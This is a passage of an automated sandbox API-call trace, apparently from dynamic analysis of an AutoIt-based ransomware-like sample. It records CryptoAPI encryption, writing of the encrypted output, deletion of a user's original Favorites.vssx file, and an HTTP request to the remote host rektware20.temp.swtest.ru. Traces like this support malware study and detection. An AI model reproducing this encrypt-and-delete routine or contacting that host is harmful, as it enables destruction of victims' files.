lpUsedDefaultChar=0x0) returned 17 [0072.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.468] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.468] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x16293d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.468] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.468] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.468] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.468] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.468] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.469] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.469] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.469] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.469] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.469] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.469] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.469] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10) returned 1 [0072.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.470] CharLowerBuffW (in: lpsz="byte[17]", cchLength=0x8 | out: lpsz="byte[17]") returned 0x8 [0072.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.471] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.471] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.471] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.471] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.472] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.472] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x164e050*, pdwDataLen=0x130e618*=0x0, dwBufLen=0x10 | out: pbData=0x164e050*, pdwDataLen=0x130e618*=0x10) returned 1 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.472] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.472] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.472] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.472] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.472] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.472] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.473] WriteFile (in: hFile=0x2ac, lpBuffer=0x16217e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x16217e0*, lpNumberOfBytesWritten=0x130f01c*=0x10, lpOverlapped=0x0) returned 1 [0072.474] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.474] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.474] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.474] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.474] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.474] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621660, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.474] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.474] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0072.474] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.474] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.474] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.475] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.475] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.475] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.475] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.475] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.475] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.475] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.475] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.475] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.475] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.475] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.475] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.476] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.476] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.476] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.476] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.476] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.476] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.476] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0072.476] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.476] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.476] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.476] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.476] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.476] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.476] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.477] CloseHandle (hObject=0x3bc) returned 1 [0072.477] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.477] CloseHandle (hObject=0x2ac) returned 1 [0072.479] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.479] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.479] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", lpFilePart=0x0) returned 0x38 [0072.479] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\favorites.vssx")) returned 0x20 [0072.480] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0072.480] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\favorites.vssx")) returned 1 [0072.480] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.481] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0072.481] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.481] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.481] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.481] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.481] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.481] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.481] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.481] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.481] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.481] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.481] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.481] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0072.481] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.482] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.482] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.483] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.483] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.483] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.483] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.483] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.483] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.483] CloseHandle (hObject=0x0) returned 0 [0072.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", 